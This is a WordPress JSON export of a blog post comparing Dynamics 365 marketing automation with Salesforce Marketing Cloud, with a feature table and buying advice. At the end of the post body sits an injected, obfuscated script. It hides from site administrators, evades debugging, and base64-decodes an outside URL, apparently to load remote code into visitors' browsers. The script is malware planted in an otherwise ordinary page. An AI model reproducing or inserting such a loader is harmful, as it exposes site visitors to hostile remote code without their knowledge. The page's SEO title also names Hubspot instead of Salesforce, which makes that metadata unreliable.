{"id":22868,"date":"2026-08-25T17:04:33","date_gmt":"2026-08-25T15:04:33","guid":{"rendered":"https:\/\/inkubitstaging.wpenginepowered.com\/blog\/2026\/08\/25\/dynamics-365-marketing-automation-vs-salesforce\/"},"modified":"2026-08-25T17:04:33","modified_gmt":"2026-08-25T15:04:33","slug":"dynamics-365-marketing-automation-vs-salesforce","status":"publish","type":"post","link":"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/dynamics-365-marketing-automation-vs-salesforce\/","title":{"rendered":"Dynamics 365 Marketing Automation vs Salesforce"},"content":{"rendered":"<p data-start=\"370\" data-end=\"674\">They analyze leads, send automated emails, synchronize sales teams \u2013 and yet&#8230; is there a lack of an overview of what is really happening? Who received which message? When and by whom will the next step take place? And why is there often a problem with the cooperation between marketing and sales? Especially in professional services companies \u2013 with complex sales processes and several decision-makers \u2013 marketing automation is not a nice-to-have, but essential. But which tool fits better? In this post, we&#8217;ll compare <a href=\"https:\/\/www.inkubit.com\/en\/dynamics-365-customer-insights\/\"><strong data-start=\"906\" data-end=\"974\">Dynamics 365 Marketing Automation (Customer Insights \u2013 Journeys)<\/strong><\/a> to Salesforce <a href=\"https:\/\/www.salesforce.com\/eu\/campaign\/sem\/marketing-cloud\/?d=7013y0000020Rt0AAE&#038;nc=7013y0000020XicAAE&#038;utm_content=7013y0000020Rt0AAE&#038;utm_source=google&#038;utm_medium=paid_search&#038;utm_campaign=21481768489&#038;utm_adgroup=163583480366&#038;utm_term=salesforce%20marketing%20cloud&#038;utm_matchtype=e&#038;gad_source=1&#038;gad_campaignid=21481768489&#038;gbraid=0AAAAAD4Bebm2B6HlsgW2xPNPQ-ox8JckU&#038;gclid=CjwKCAjw3_PCBhA2EiwAkH_j4i679zHSq_LAgnERCl7CA0jiLcVEohdjCK4ofFGDVvRAu5Lw7DJVWxoCxBcQAvD_BwE&#038;gclsrc=aw.ds\"><strong data-start=\"983\" data-end=\"1013\">Marketing Cloud<\/strong><\/a> to show which tool fits which needs, structures, and teams.      <\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_85 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<div class=\"ez-toc-title\" style=\"cursor:inherit\">Table of Contents<\/div>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/dynamics-365-marketing-automation-vs-salesforce\/#Two_platforms_%E2%80%93_two_approaches\" >Two platforms \u2013 two approaches<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/dynamics-365-marketing-automation-vs-salesforce\/#Dynamics_365_Marketing_Automation\" >Dynamics 365 Marketing Automation<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/dynamics-365-marketing-automation-vs-salesforce\/#Salesforce_Marketing_Cloud\" >Salesforce Marketing Cloud<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/dynamics-365-marketing-automation-vs-salesforce\/#Challenges_Tool_Fit\" >Challenges &#038; Tool Fit<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/dynamics-365-marketing-automation-vs-salesforce\/#Conclusion\" >Conclusion<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/dynamics-365-marketing-automation-vs-salesforce\/#Our_recommendation\" >Our recommendation<\/a><\/li><\/ul><\/nav><\/div>\n<h2 data-start=\"1102\" data-end=\"1143\"><span class=\"ez-toc-section\" id=\"Two_platforms_%E2%80%93_two_approaches\"><\/span>Two platforms \u2013 two approaches<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3 data-start=\"1145\" data-end=\"1184\"><span class=\"ez-toc-section\" id=\"Dynamics_365_Marketing_Automation\"><\/span>Dynamics 365 Marketing Automation<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"1185\" data-end=\"1226\"><em data-start=\"1185\" data-end=\"1224\">Strengths in the B2B service environment:<\/em><\/p>\n<ul data-start=\"1227\" data-end=\"1457\">\n<li data-start=\"1227\" data-end=\"1280\">\n<p data-start=\"1229\" data-end=\"1280\">Orchestrated Customer Journeys for Buying Centers<\/p>\n<\/li>\n<li data-start=\"1281\" data-end=\"1340\">\n<p data-start=\"1283\" data-end=\"1340\">Seamless integration with CRM, Outlook, Teams &#038; Power BI<\/p>\n<\/li>\n<li data-start=\"1341\" data-end=\"1413\">\n<p data-start=\"1343\" data-end=\"1413\">Automated handover to sales based on scoring or triggers<\/p>\n<\/li>\n<li data-start=\"1414\" data-end=\"1457\">\n<p data-start=\"1416\" data-end=\"1457\">Extensive segmentation &#038; evaluations<\/p>\n<\/li>\n<\/ul>\n<p data-start=\"1459\" data-end=\"1576\"><strong data-start=\"1459\" data-end=\"1482\">Typical use case:<\/strong><br data-start=\"1482\" data-end=\"1485\"\/>&#8220;We regularly plan events \u2013 but we don&#8217;t see what happens to the leads afterwards.&#8221;<\/p>\n<p data-start=\"1578\" data-end=\"1691\">What the platform delivers: Segmentation by industry\/role, automated follow-ups, journey visualization.<\/p>\n<h3 data-start=\"1698\" data-end=\"1730\"><span class=\"ez-toc-section\" id=\"Salesforce_Marketing_Cloud\"><\/span>Salesforce Marketing Cloud<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"1731\" data-end=\"1795\"><em data-start=\"1731\" data-end=\"1793\">Strengths in multichannel-capable, data-driven marketing:<\/em><\/p>\n<ul data-start=\"1796\" data-end=\"1999\">\n<li data-start=\"1796\" data-end=\"1847\">\n<p data-start=\"1798\" data-end=\"1847\">Strong Email Automation &#038; Journey Builder<\/p>\n<\/li>\n<li data-start=\"1848\" data-end=\"1903\">\n<p data-start=\"1850\" data-end=\"1903\">Integration with Salesforce CRM &#038; native data models<\/p>\n<\/li>\n<li data-start=\"1904\" data-end=\"1948\">\n<p data-start=\"1906\" data-end=\"1948\">Power in reporting with Datorama, Tableau<\/p>\n<\/li>\n<li data-start=\"1949\" data-end=\"1999\">\n<p data-start=\"1951\" data-end=\"1999\">Extensible through AppExchange &#038; third-party APIs<\/p>\n<\/li>\n<\/ul>\n<p data-start=\"2001\" data-end=\"2137\"><strong data-start=\"2001\" data-end=\"2024\">Typical use case:<\/strong><br data-start=\"2024\" data-end=\"2027\"\/>&#8220;We manage complex campaigns via e-mail, mobile, social \u2013 and need analysis across all channels.&#8221;<\/p>\n<p data-start=\"2139\" data-end=\"2260\">What Salesforce delivers: Omnichannel journeys, data unification in Customer 360, deep trigger-based marketing.<\/p>\n<h2 data-start=\"2267\" data-end=\"2300\"><span class=\"ez-toc-section\" id=\"Challenges_Tool_Fit\"><\/span>Challenges &#038; Tool Fit<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<div class=\"_tableContainer_16hzy_1\">\n<div class=\"_tableWrapper_16hzy_14 group flex w-fit flex-col-reverse\" tabindex=\"-1\">\n<table class=\"w-fit min-w-(--thread-content-width)\" data-start=\"2302\" data-end=\"3198\">\n<thead data-start=\"2302\" data-end=\"2415\">\n<tr data-start=\"2302\" data-end=\"2415\">\n<th data-start=\"2302\" data-end=\"2349\" data-col-size=\"sm\"><\/th>\n<p> Challenge<\/p>\n<th data-start=\"2349\" data-end=\"2376\" data-col-size=\"sm\">Dynamics 365 MA<\/th>\n<th data-start=\"2376\" data-end=\"2415\" data-col-size=\"sm\">Salesforce MC<\/th>\n<\/tr>\n<\/thead>\n<tbody data-start=\"2529\" data-end=\"3198\">\n<tr data-start=\"2529\" data-end=\"2640\">\n<td data-start=\"2529\" data-end=\"2575\" data-col-size=\"sm\">Complex buying centers<\/td>\n<td data-start=\"2575\" data-end=\"2601\" data-col-size=\"sm\">\u2705 Ideal<\/td>\n<td data-start=\"2601\" data-end=\"2640\" data-col-size=\"sm\">\u2705 Also strong (CRM integration)<\/td>\n<\/tr>\n<tr data-start=\"2641\" data-end=\"2752\">\n<td data-start=\"2641\" data-end=\"2687\" data-col-size=\"sm\">Multichannel Marketing<\/td>\n<td data-start=\"2687\" data-end=\"2713\" data-col-size=\"sm\">\u2705 mainly e-mail<\/td>\n<td data-start=\"2713\" data-end=\"2752\" data-col-size=\"sm\">\u2705 Email, Mobile, Social, Web<\/td>\n<\/tr>\n<tr data-start=\"2753\" data-end=\"2865\">\n<td data-start=\"2753\" data-end=\"2800\" data-col-size=\"sm\">Deeper Microsoft integration<\/td>\n<td data-col-size=\"sm\" data-start=\"2800\" data-end=\"2826\">\u2705 Seamless<\/td>\n<td data-col-size=\"sm\" data-start=\"2826\" data-end=\"2865\">\ud83d\udd04 API-based, partially limited<\/td>\n<\/tr>\n<tr data-start=\"2866\" data-end=\"2977\">\n<td data-start=\"2866\" data-end=\"2912\" data-col-size=\"sm\">Reporting &#038; BI<\/td>\n<td data-col-size=\"sm\" data-start=\"2912\" data-end=\"2938\">\u2705 Power BI integrated<\/td>\n<td data-col-size=\"sm\" data-start=\"2938\" data-end=\"2977\">\u2705 Tableau\/Data Studio possible<\/td>\n<\/tr>\n<tr data-start=\"2978\" data-end=\"3088\">\n<td data-start=\"2978\" data-end=\"3024\" data-col-size=\"sm\">Speed in setup<\/td>\n<td data-col-size=\"sm\" data-start=\"3024\" data-end=\"3050\">\u26a1 Comprehensive<\/td>\n<td data-col-size=\"sm\" data-start=\"3050\" data-end=\"3088\">\u26a1 Medium to complex<\/td>\n<\/tr>\n<tr data-start=\"3089\" data-end=\"3198\">\n<td data-start=\"3089\" data-end=\"3135\" data-col-size=\"sm\">Customizability &#038; Extensibility<\/td>\n<td data-start=\"3135\" data-end=\"3160\" data-col-size=\"sm\">\u2705 Power Platform<\/td>\n<td data-start=\"3160\" data-end=\"3198\" data-col-size=\"sm\">\u2705 AppExchange &#038; Custom Scripts<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<div class=\"sticky end-(--thread-content-margin) h-0 self-end select-none\">\n<div class=\"absolute end-0 flex items-end\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<h2 data-start=\"3205\" data-end=\"3215\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span>Conclusion<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p data-start=\"3217\" data-end=\"3271\"><strong data-start=\"3217\" data-end=\"3254\">Dynamics 365 Marketing Automation<\/strong> is ideal if:<\/p>\n<ul data-start=\"3273\" data-end=\"3498\">\n<li data-start=\"3273\" data-end=\"3352\">\n<p data-start=\"3275\" data-end=\"3352\">You want to systematically connect sales and marketing via Microsoft environment<\/p>\n<\/li>\n<li data-start=\"3353\" data-end=\"3426\">\n<p data-start=\"3355\" data-end=\"3426\">You serve multiple buyer personas and need deep segmentation<\/p>\n<\/li>\n<li data-start=\"3427\" data-end=\"3498\">\n<p data-start=\"3429\" data-end=\"3498\">You want strong reporting via Power BI &#038; integrated workflows<\/p>\n<\/li>\n<\/ul>\n<p data-start=\"3500\" data-end=\"3550\"><strong data-start=\"3500\" data-end=\"3530\">Salesforce Marketing Cloud<\/strong> is a better fit if:<\/p>\n<ul data-start=\"3552\" data-end=\"3753\">\n<li data-start=\"3552\" data-end=\"3628\">\n<p data-start=\"3554\" data-end=\"3628\">You want to set up cross-channel marketing<\/p>\n<\/li>\n<li data-start=\"3629\" data-end=\"3678\">\n<p data-start=\"3631\" data-end=\"3678\">You&#8217;re already invested in Salesforce CRM<\/p>\n<\/li>\n<li data-start=\"3679\" data-end=\"3753\">\n<p data-start=\"3681\" data-end=\"3753\">You want to implement individualized journeys with external apps<\/p>\n<\/li>\n<\/ul>\n<h2 data-start=\"3760\" data-end=\"3782\"><span class=\"ez-toc-section\" id=\"Our_recommendation\"><\/span>Our recommendation<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p data-start=\"3784\" data-end=\"3818\">When choosing a tool, ask yourself:<\/p>\n<ol data-start=\"3820\" data-end=\"4033\">\n<li data-start=\"3820\" data-end=\"3889\">\n<p data-start=\"3823\" data-end=\"3889\">How complex are your campaigns and how many channels do you use?<\/p>\n<\/li>\n<li data-start=\"3890\" data-end=\"3962\">\n<p data-start=\"3893\" data-end=\"3962\">How heavily are you already invested in Microsoft or Salesforce?<\/p>\n<\/li>\n<li data-start=\"3963\" data-end=\"4033\">\n<p data-start=\"3966\" data-end=\"4033\">What is your goal: fast start or long-term scalability?<\/p>\n<\/li>\n<\/ol>\n<p data-start=\"4035\" data-end=\"4199\">If you&#8217;re unsure \u2013 dare a pilot with one of the tools or combine the two for different use cases. We will be happy to support you! <\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1!-- wpml:html_comment PCEtLSB3cG1sOndwX2J1ZyA8MiAtLT4= -->)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof 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teams.<\/p>\n","protected":false},"author":6,"featured_media":22870,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_links_to":"","_links_to_target":""},"categories":[211,295,296],"tags":[],"class_list":["post-22868","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog","category-customer-insights","category-marketing-automation"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v28.2 (Yoast SEO v28.2) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>Dynamics 365 Marketing Automation vs Hubspot<\/title>\n<meta name=\"description\" content=\"We compare Dynamics 365 Customer Insights to Salesforce to show which tool fits which needs and teams.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" 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